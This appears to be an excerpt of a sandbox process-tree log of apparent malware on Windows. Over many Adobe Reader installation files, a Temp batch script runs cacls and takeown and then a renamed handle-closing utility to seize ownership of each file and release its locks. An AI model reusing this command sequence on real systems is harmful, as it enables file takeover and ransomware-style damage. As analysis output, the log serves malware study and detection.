C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "br.gif" -nobanner4⤵PID:112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1052
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif""2⤵PID:592
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif" /E /G Admin:F /C3⤵PID:1512
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\form_responses.gif"3⤵PID:1672
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "form_responses.gif" -nobanner3⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "form_responses.gif" -nobanner4⤵PID:1068
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:920
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif""2⤵PID:1756
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif" /E /G Admin:F /C3⤵PID:236
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_email.gif"3⤵PID:972
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "review_email.gif" -nobanner3⤵PID:996
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "review_email.gif" -nobanner4⤵PID:220
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:296
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif""2⤵PID:1396
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif" /E /G Admin:F /C3⤵PID:228
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tr.gif"3⤵
- Modifies file permissions
PID:1460
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "tr.gif" -nobanner3⤵PID:1456
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "tr.gif" -nobanner4⤵PID:1784
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1448
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf""2⤵PID:1520
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf"3⤵
- Modifies file permissions
PID:112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "AdobePiStd.otf" -nobanner3⤵PID:1768
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "AdobePiStd.otf" -nobanner4⤵PID:216
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1992
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf""2⤵PID:1348
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf" /E /G Admin:F /C3⤵PID:1672
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-BoldIt.otf"3⤵
- Modifies file permissions
PID:1068
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner3⤵PID:832
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MyriadPro-BoldIt.otf" -nobanner4⤵PID:1596
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1964
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt""2⤵PID:1148
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt" /E /G Admin:F /C3⤵PID:972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt"3⤵PID:220
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner3⤵PID:996
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "DisplayLanguageNames.en_CA.txt" -nobanner4⤵PID:1988
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca""2⤵PID:1860
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca" /E /G Admin:F /C3⤵PID:1772
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.fca"3⤵PID:1200
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "can.fca" -nobanner3⤵PID:896
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "can.fca" -nobanner4⤵PID:1592
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2028
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths""2⤵PID:1500
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths" /E /G Admin:F /C3⤵PID:740
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.ths"3⤵PID:1052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "usa03.ths" -nobanner3⤵PID:1536
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "usa03.ths" -nobanner4⤵PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT""2⤵PID:1320
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT" /E /G Admin:F /C3⤵PID:1252
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT"3⤵
- Modifies file permissions
PID:920
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "GREEK.TXT" -nobanner3⤵PID:208
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "GREEK.TXT" -nobanner4⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT""2⤵PID:1512
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT" /E /G Admin:F /C3⤵PID:2012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT"3⤵
- Modifies file permissions
PID:296
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1253.TXT" -nobanner3⤵PID:2032
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1253.TXT" -nobanner4⤵PID:1816
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der""2⤵PID:236
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der" /E /G Admin:F /C3⤵PID:1784
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\RTC.der"3⤵PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "RTC.der" -nobanner3⤵PID:1456
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "RTC.der" -nobanner4⤵PID:1396
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1376
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif""2⤵PID:228
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif" /E /G Admin:F /C3⤵PID:216
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\end_review.gif"3⤵PID:960
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "end_review.gif" -nobanner3⤵PID:1768
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "end_review.gif" -nobanner4⤵PID:1520
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif""2⤵PID:564
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif" /E /G Admin:F /C3⤵PID:1596
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_joined.gif"3⤵
- Modifies file permissions
PID:1280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "reviews_joined.gif" -nobanner3⤵PID:1348
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "reviews_joined.gif" -nobanner4⤵PID:540
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1320
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif""2⤵PID:1764
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif" /E /G Admin:F /C3⤵PID:1292
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_ok.gif"3⤵PID:996
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "server_ok.gif" -nobanner3⤵PID:1148
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "server_ok.gif" -nobanner4⤵PID:2004
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1512
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif""2⤵PID:212
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif" /E /G Admin:F /C3⤵PID:2028
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\warning.gif"3⤵PID:896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "warning.gif" -nobanner3⤵PID:1860
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "warning.gif" -nobanner4⤵PID:1376
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:236
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf""2⤵PID:1516
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf" /E /G Admin:F /C3⤵PID:1508
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-BoldIt.otf"3⤵PID:1536
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MinionPro-BoldIt.otf" -nobanner3⤵PID:1500
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MinionPro-BoldIt.otf" -nobanner4⤵PID:2024
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:228
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB""2⤵PID:1780
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\SY______.PFB"3⤵PID:2000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SY______.PFB" -nobanner3⤵PID:1356
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SY______.PFB" -nobanner4⤵PID:1320
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:564
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp""2⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp" /E /G Admin:F /C3⤵PID:1876
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.hyp"3⤵PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "brt.hyp" -nobanner3⤵PID:1148
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "brt.hyp" -nobanner4⤵PID:972
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx""2⤵PID:220
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx" /E /G Admin:F /C3⤵PID:896
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng32.clx"3⤵PID:1376
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "eng32.clx" -nobanner3⤵PID:1860
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "eng32.clx" -nobanner4⤵PID:1460
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT""2⤵PID:1200
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT" /E /G Admin:F /C3⤵PID:112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CENTEURO.TXT"3⤵PID:1992
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CENTEURO.TXT" -nobanner3⤵PID:1052
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CENTEURO.TXT" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1252
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT""2⤵PID:1780
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT" /E /G Admin:F /C3⤵PID:568
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT"3⤵PID:1512
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "UKRAINE.TXT" -nobanner3⤵PID:1544
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "UKRAINE.TXT" -nobanner4⤵PID:296
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2032
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig""2⤵PID:996
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig" /E /G Admin:F /C3⤵PID:896
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\cryptocme2.sig"3⤵PID:1404
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "cryptocme2.sig" -nobanner3⤵PID:1460
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "cryptocme2.sig" -nobanner4⤵PID:1860
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer""2⤵PID:220
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer" /E /G Admin:F /C3⤵PID:112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer"3⤵PID:1684
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "pmd.cer" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "pmd.cer" -nobanner4⤵PID:1052
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1252
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif""2⤵PID:1200
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif" /E /G Admin:F /C3⤵PID:972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\email_initiator.gif"3⤵
- Modifies file permissions
PID:1764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "email_initiator.gif" -nobanner3⤵PID:1148
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "email_initiator.gif" -nobanner4⤵PID:2012
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1104
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif""2⤵PID:1876
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif" /E /G Admin:F /C3⤵PID:236
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\pdf.gif"3⤵
- Modifies file permissions
PID:212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "pdf.gif" -nobanner3⤵PID:1528
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "pdf.gif" -nobanner4⤵PID:1784
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1772
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif""2⤵PID:204
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif"3⤵
- Modifies file permissions
PID:1280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "server_issue.gif" -nobanner3⤵PID:1112
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "server_issue.gif" -nobanner4⤵PID:1768
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif""2⤵PID:220
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif" /E /G Admin:F /C3⤵PID:1764
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInAcrobat.gif"3⤵PID:2012
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner3⤵PID:1148
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "turnOnNotificationInAcrobat.gif" -nobanner4⤵PID:592
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1508
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf""2⤵PID:1520
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf" /E /G Admin:F /C3⤵PID:212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd.otf"3⤵
- Modifies file permissions
PID:1784
-
-
